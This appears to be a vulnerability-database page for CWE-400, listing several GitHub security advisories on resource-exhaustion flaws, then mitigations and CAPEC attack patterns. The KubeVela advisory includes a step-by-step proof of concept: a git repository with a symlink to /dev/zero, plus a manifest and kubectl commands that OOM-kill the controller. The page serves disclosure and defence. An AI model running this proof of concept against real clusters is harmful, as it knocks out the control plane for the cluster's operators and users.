CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6465 vulnerabilities reference this CWE, most recent first.
GHSA-FMCR-J4VV-2WHW
Vulnerability from github – Published: 2026-08-24 21:33 – Updated: 2026-08-25 21:31An integer handling flaw in the cobs_decode function of SpaceDot AcubeSAT OBC software commit eaf90ec allows physically-proximate attackers with UART access to cause a Denial of Service (DoS) via a crafted input.
{
"affected": [],
"aliases": [
"CVE-2026-75371"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-24T19:16:58Z",
"severity": "HIGH"
},
"details": "An integer handling flaw in the cobs_decode function of SpaceDot AcubeSAT OBC software commit eaf90ec allows physically-proximate attackers with UART access to cause a Denial of Service (DoS) via a crafted input.",
"id": "GHSA-fmcr-j4vv-2whw",
"modified": "2026-08-25T21:31:23Z",
"published": "2026-08-24T21:33:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75371"
},
{
"type": "WEB",
"url": "https://github.com/dazuo233/cve/issues/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FMG9-CQHF-254R
Vulnerability from github – Published: 2022-10-21 19:01 – Updated: 2022-10-22 12:00A potential DOS vulnerability was discovered in GitLab CE/EE affecting all versions from 10.8 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2. Improper data handling on branch creation could have been used to trigger high CPU usage.
{
"affected": [],
"aliases": [
"CVE-2022-3639"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-21T16:15:00Z",
"severity": "HIGH"
},
"details": "A potential DOS vulnerability was discovered in GitLab CE/EE affecting all versions from 10.8 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2. Improper data handling on branch creation could have been used to trigger high CPU usage.",
"id": "GHSA-fmg9-cqhf-254r",
"modified": "2022-10-22T12:00:25Z",
"published": "2022-10-21T19:01:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3639"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-3639.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/366876"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FMGP-Q6JX-GG3X
Vulnerability from github – Published: 2026-08-28 16:13 – Updated: 2026-08-28 16:13Summary
KubeVela's Terraform remote configuration loader can be abused to make vela-core read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.
The issue is reachable when a user with permission to create or update a core.oam.dev/v1beta1 ComponentDefinition registers a Terraform remote schematic that points to a malicious or compromised git repository. The repository can contain a variables.tf symlink that resolves to /dev/zero after checkout. vela-core follows the symlink and calls os.ReadFile before HCL parsing, so memory grows until the controller is OOM killed.
Details
The affected code is in pkg/controller/utils/capability.go, inside GetTerraformConfigurationFromRemote:
https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242
tfPath := filepath.Join(cachePath, remotePath, "variables.tf")
if _, err := os.Stat(tfPath); err != nil {
tfPath = filepath.Join(cachePath, remotePath, "main.tf")
if _, err := os.Stat(tfPath); err != nil {
return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository")
}
}
conf, err := os.ReadFile(filepath.Clean(tfPath))
if err != nil {
return "", errors.Wrap(err, "failed to read Terraform configuration")
}
When a ComponentDefinition uses:
schematic:
terraform:
type: remote
configuration: <git repository URL>
the controller clones the user-supplied git repository and then reads variables.tf or main.tf from the checkout. The read path is built from attacker-controlled repository contents and terraform.path, but the code does not verify:
- whether the target is a regular file;
- whether the resolved path remains inside the clone cache;
- how large the file is before reading it.
Both os.Stat and os.ReadFile follow symlinks. If the repository contains variables.tf -> ../../../../../../dev/zero, then after checkout under the default cache path this symlink resolves to /dev/zero. os.Stat succeeds, and os.ReadFile reads from /dev/zero, which never returns EOF.
The failure happens during os.ReadFile, before the content reaches HCL parsing or ParseTerraformVariables, so later validation cannot prevent the OOM.
This vulnerability also has a path-traversal-like aspect, because symlinks and terraform.path can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in os.ReadFile before HCL parsing, rather than a confidentiality impact.
PoC
Prerequisites:
- KubeVela is installed with the default configuration, for example in a kind cluster:
helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait
- I reproduced this with
oamdev/vela-core:v1.10.8and avela-corememory limit of 1Gi. - The attacker has
create/updatepermissions forcore.oam.dev/v1beta1ComponentDefinitionin any namespace. -
The tester can create a git repository that
vela-corecan clone. -
Create a test git repository. In the repository root, add a relative
variables.tfsymlink that resolves to/dev/zeroafter checkout, then push it:
git init poc-tf-dos && cd poc-tf-dos
ln -s ../../../../../../dev/zero variables.tf
git add variables.tf && git commit -m "poc"
git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
git push -u origin main
- Create
poc-componentdefinition.yaml. Replaceconfigurationwith the repository URL from step 1:
apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
name: dos-tf
namespace: vela-system
spec:
workload:
definition:
apiVersion: apps/v1
kind: Deployment
schematic:
terraform:
type: remote
configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
path: ""
The workload GVK should reference a type that exists in the cluster, such as apps/v1 Deployment.
- Apply the manifest and observe
vela-core:
kubectl apply -f poc-componentdefinition.yaml
kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w
- Confirm the OOMKilled termination:
kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \
-o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}'
Expected result:
"exitCode":137
"reason":"OOMKilled"
The pod may then enter CrashLoopBackOff.
If the reconcile fails with stat .../main.tf: no such file or directory, check that the symlink is relative and resolves to /dev/zero from the checkout location. If the same ComponentDefinition was already reconciled, remove the stale clone cache under /root/.vela/terraform/<name> and retry.
Impact
This is a denial-of-service vulnerability affecting KubeVela control-plane availability.
A user who can create or update ComponentDefinition objects can cause the cluster-wide vela-core controller to be OOM killed.
If vela-core has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/oam-dev/kubevela"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/oam-dev/kubevela"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0-alpha.1"
},
{
"fixed": "1.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/oam-dev/kubevela"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0-alpha.1"
},
{
"fixed": "1.11.0-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55108"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:13:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nKubeVela\u0027s Terraform remote configuration loader can be abused to make `vela-core` read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.\n\nThe issue is reachable when a user with permission to create or update a `core.oam.dev/v1beta1` `ComponentDefinition` registers a Terraform `remote` schematic that points to a malicious or compromised git repository. The repository can contain a `variables.tf` symlink that resolves to `/dev/zero` after checkout. `vela-core` follows the symlink and calls `os.ReadFile` before HCL parsing, so memory grows until the controller is OOM killed.\n\n### Details\n\nThe affected code is in `pkg/controller/utils/capability.go`, inside `GetTerraformConfigurationFromRemote`:\n\nhttps://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242\n\n```go\ntfPath := filepath.Join(cachePath, remotePath, \"variables.tf\")\nif _, err := os.Stat(tfPath); err != nil {\n tfPath = filepath.Join(cachePath, remotePath, \"main.tf\")\n if _, err := os.Stat(tfPath); err != nil {\n return \"\", errors.Wrap(err, \"failed to find main.tf or variables.tf in Terraform configurations of the remote repository\")\n }\n}\nconf, err := os.ReadFile(filepath.Clean(tfPath))\nif err != nil {\n return \"\", errors.Wrap(err, \"failed to read Terraform configuration\")\n}\n```\n\nWhen a `ComponentDefinition` uses:\n\n```yaml\nschematic:\n terraform:\n type: remote\n configuration: \u003cgit repository URL\u003e\n```\n\nthe controller clones the user-supplied git repository and then reads `variables.tf` or `main.tf` from the checkout. The read path is built from attacker-controlled repository contents and `terraform.path`, but the code does not verify:\n\n- whether the target is a regular file;\n- whether the resolved path remains inside the clone cache;\n- how large the file is before reading it.\n\nBoth `os.Stat` and `os.ReadFile` follow symlinks. If the repository contains `variables.tf -\u003e ../../../../../../dev/zero`, then after checkout under the default cache path this symlink resolves to `/dev/zero`. `os.Stat` succeeds, and `os.ReadFile` reads from `/dev/zero`, which never returns EOF.\n\nThe failure happens during `os.ReadFile`, before the content reaches HCL parsing or `ParseTerraformVariables`, so later validation cannot prevent the OOM.\n\nThis vulnerability also has a path-traversal-like aspect, because symlinks and `terraform.path` can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in `os.ReadFile` before HCL parsing, rather than a confidentiality impact.\n\n### PoC\n\nPrerequisites:\n\n- KubeVela is installed with the default configuration, for example in a kind cluster:\n\n```sh\nhelm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait\n```\n\n- I reproduced this with `oamdev/vela-core:v1.10.8` and a `vela-core` memory limit of 1Gi.\n- The attacker has `create` / `update` permissions for `core.oam.dev/v1beta1` `ComponentDefinition` in any namespace.\n- The tester can create a git repository that `vela-core` can clone.\n\n1. Create a test git repository. In the repository root, add a relative `variables.tf` symlink that resolves to `/dev/zero` after checkout, then push it:\n\n```sh\ngit init poc-tf-dos \u0026\u0026 cd poc-tf-dos\nln -s ../../../../../../dev/zero variables.tf\ngit add variables.tf \u0026\u0026 git commit -m \"poc\"\ngit remote add origin https://github.com/\u003cYOUR_ORG\u003e/\u003cYOUR_REPO\u003e.git\ngit push -u origin main\n```\n\n2. Create `poc-componentdefinition.yaml`. Replace `configuration` with the repository URL from step 1:\n\n```yaml\napiVersion: core.oam.dev/v1beta1\nkind: ComponentDefinition\nmetadata:\n name: dos-tf\n namespace: vela-system\nspec:\n workload:\n definition:\n apiVersion: apps/v1\n kind: Deployment\n schematic:\n terraform:\n type: remote\n configuration: https://github.com/\u003cYOUR_ORG\u003e/\u003cYOUR_REPO\u003e.git\n path: \"\"\n```\n\nThe workload GVK should reference a type that exists in the cluster, such as `apps/v1` `Deployment`.\n\n3. Apply the manifest and observe `vela-core`:\n\n```sh\nkubectl apply -f poc-componentdefinition.yaml\nkubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w\n```\n\n4. Confirm the OOMKilled termination:\n\n```sh\nkubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \\\n -o jsonpath=\u0027{.items[0].status.containerStatuses[0].lastState.terminated}{\"\\n\"}\u0027\n```\n\nExpected result:\n\n```text\n\"exitCode\":137\n\"reason\":\"OOMKilled\"\n```\n\nThe pod may then enter `CrashLoopBackOff`.\n\nIf the reconcile fails with `stat .../main.tf: no such file or directory`, check that the symlink is relative and resolves to `/dev/zero` from the checkout location. If the same `ComponentDefinition` was already reconciled, remove the stale clone cache under `/root/.vela/terraform/\u003cname\u003e` and retry.\n\n### Impact\n\nThis is a denial-of-service vulnerability affecting KubeVela control-plane availability.\n\nA user who can create or update `ComponentDefinition` objects can cause the cluster-wide `vela-core` controller to be OOM killed. \n\nIf `vela-core` has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.",
"id": "GHSA-fmgp-q6jx-gg3x",
"modified": "2026-08-28T16:13:19Z",
"published": "2026-08-28T16:13:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/security/advisories/GHSA-fmgp-q6jx-gg3x"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/pull/7191"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/pull/7192"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/commit/65dedda40a69cc1eccf4072a4c835e5b9f13334e"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/commit/7a4e59b2958ce1cf031fafbc188d6fafe8fe4d2e"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/commit/f6a64398b5e0065c57c3a0fb6765dd3dc48c749d"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevela/kubevela"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/releases/tag/v1.10.9"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/releases/tag/v1.11.0-alpha.4"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/releases/tag/v1.9.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "KubeVela Terraform remote loader DoS via unbounded file read"
}
GHSA-FMGX-6M2H-QH4R
Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18In Wireshark 3.2.0 to 3.2.3, 3.0.0 to 3.0.10, and 2.6.0 to 2.6.16, the NFS dissector could crash. This was addressed in epan/dissectors/packet-nfs.c by preventing excessive recursion, such as for a cycle in the directory graph on a filesystem.
{
"affected": [],
"aliases": [
"CVE-2020-13164"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-19T22:15:00Z",
"severity": "MODERATE"
},
"details": "In Wireshark 3.2.0 to 3.2.3, 3.0.0 to 3.0.10, and 2.6.0 to 2.6.16, the NFS dissector could crash. This was addressed in epan/dissectors/packet-nfs.c by preventing excessive recursion, such as for a cycle in the directory graph on a filesystem.",
"id": "GHSA-fmgx-6m2h-qh4r",
"modified": "2022-05-24T17:18:11Z",
"published": "2022-05-24T17:18:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13164"
},
{
"type": "WEB",
"url": "https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=16476"
},
{
"type": "WEB",
"url": "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=commit;h=e6e98eab8e5e0bbc982cfdc808f2469d7cab6c5a"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00008.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5UOISPQTRCZGQLKBVXEDL72AEXEHS425"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DNV3EYL4JBWCR22TJO3PH7ADUVS5RWSU"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202007-13"
},
{
"type": "WEB",
"url": "https://www.wireshark.org/security/wnpa-sec-2020-08.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00026.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00038.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FMMJ-449G-8XVH
Vulnerability from github – Published: 2026-05-12 21:31 – Updated: 2026-05-12 21:31CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
{
"affected": [],
"aliases": [
"CVE-2026-34673"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T20:16:37Z",
"severity": "MODERATE"
},
"details": "CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.",
"id": "GHSA-fmmj-449g-8xvh",
"modified": "2026-05-12T21:31:34Z",
"published": "2026-05-12T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34673"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FMMQ-J7PQ-F85C
Vulnerability from github – Published: 2022-05-17 04:17 – Updated: 2023-08-29 20:33JRuby computes hash values without properly restricting the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted input to an application that maintains a hash table, as demonstrated by a universal multicollision attack against the MurmurHash2 algorithm, a different vulnerability than CVE-2011-4838.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jruby:jruby-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-5370"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-29T20:33:46Z",
"nvd_published_at": "2012-11-28T13:03:00Z",
"severity": "MODERATE"
},
"details": "JRuby computes hash values without properly restricting the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted input to an application that maintains a hash table, as demonstrated by a universal multicollision attack against the MurmurHash2 algorithm, a different vulnerability than CVE-2011-4838.",
"id": "GHSA-fmmq-j7pq-f85c",
"modified": "2023-08-29T20:33:46Z",
"published": "2022-05-17T04:17:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5370"
},
{
"type": "WEB",
"url": "https://github.com/jruby/jruby/commit/5e4aab28b26fd127112b76fabfac9a33b64caf77"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=880671"
},
{
"type": "WEB",
"url": "http://jruby.org/2012/12/03/jruby-1-7-1"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-0533.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "JRuby denial of service via Hash Collision"
}
GHSA-FMQ6-4W57-2W3V
Vulnerability from github – Published: 2024-11-09 00:30 – Updated: 2026-06-08 19:09wasm3 at commit 139076a contains a memory leak in the Read_utf8 function.
{
"affected": [
{
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/shareup/wasm-interpreter-apple"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pywasm3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "wasm3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-27529"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-12T20:46:54Z",
"nvd_published_at": "2024-11-08T22:15:15Z",
"severity": "MODERATE"
},
"details": "wasm3 at commit 139076a contains a memory leak in the Read_utf8 function.",
"id": "GHSA-fmq6-4w57-2w3v",
"modified": "2026-06-08T19:09:15Z",
"published": "2024-11-09T00:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27529"
},
{
"type": "WEB",
"url": "https://github.com/wasm3/wasm3/issues/462"
},
{
"type": "WEB",
"url": "https://github.com/wasm3/wasm3/pull/490"
},
{
"type": "WEB",
"url": "https://github.com/wasm3/wasm3/commit/526c1251b64e6e9fdc0d40c768ae46cd20338594"
},
{
"type": "WEB",
"url": "https://gist.github.com/haruki3hhh/ac70bd83b9c0ed1de6289d818488da78"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pywasm3/PYSEC-2024-305.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "wasm3 uncontrolled memory allocation vulnerability"
}
GHSA-FMX2-4QMC-7H5P
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2025-04-20 03:41The ReadDCMImage function in coders\dcm.c in ImageMagick 7.0.6-1 has an integer signedness error leading to excessive memory consumption via a crafted DCM file.
{
"affected": [],
"aliases": [
"CVE-2017-12140"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-02T05:29:00Z",
"severity": "HIGH"
},
"details": "The ReadDCMImage function in coders\\dcm.c in ImageMagick 7.0.6-1 has an integer signedness error leading to excessive memory consumption via a crafted DCM file.",
"id": "GHSA-fmx2-4qmc-7h5p",
"modified": "2025-04-20T03:41:57Z",
"published": "2022-05-13T01:17:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12140"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/533"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201711-07"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3681-1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100096"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FMXM-F4R3-PVGQ
Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-08 18:33Windows Hyper-V Denial of Service Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-43575"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-08T18:15:25Z",
"severity": "HIGH"
},
"details": "Windows Hyper-V Denial of Service Vulnerability",
"id": "GHSA-fmxm-f4r3-pvgq",
"modified": "2024-10-08T18:33:17Z",
"published": "2024-10-08T18:33:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43575"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43575"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FP3C-5CV2-3XV4
Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2022-09-13 00:00Multiple vulnerabilities exist in the processing of packet data by the LLDP service of AOS-CX. Successful exploitation of these vulnerabilities may allow an attacker to impact the availability of the AOS-CX LLDP service and/or the management plane of the switch in ArubaOS-CX Switches version(s): AOS-CX 10.09.xxxx: 10.09.1010 and below, AOS-CX 10.08.xxxx: 10.08.1050 and below, AOS-CX 10.06.xxxx: 10.06.0190 and below. Aruba has released upgrades for ArubaOS-CX Switch Devices that address these security vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2022-23689"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-06T18:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities exist in the processing of packet data by the LLDP service of AOS-CX. Successful exploitation of these vulnerabilities may allow an attacker to impact the availability of the AOS-CX LLDP service and/or the management plane of the switch in ArubaOS-CX Switches version(s): AOS-CX 10.09.xxxx: 10.09.1010 and below, AOS-CX 10.08.xxxx: 10.08.1050 and below, AOS-CX 10.06.xxxx: 10.06.0190 and below. Aruba has released upgrades for ArubaOS-CX Switch Devices that address these security vulnerabilities.",
"id": "GHSA-fp3c-5cv2-3xv4",
"modified": "2022-09-13T00:00:40Z",
"published": "2022-09-07T00:01:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23689"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-012.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.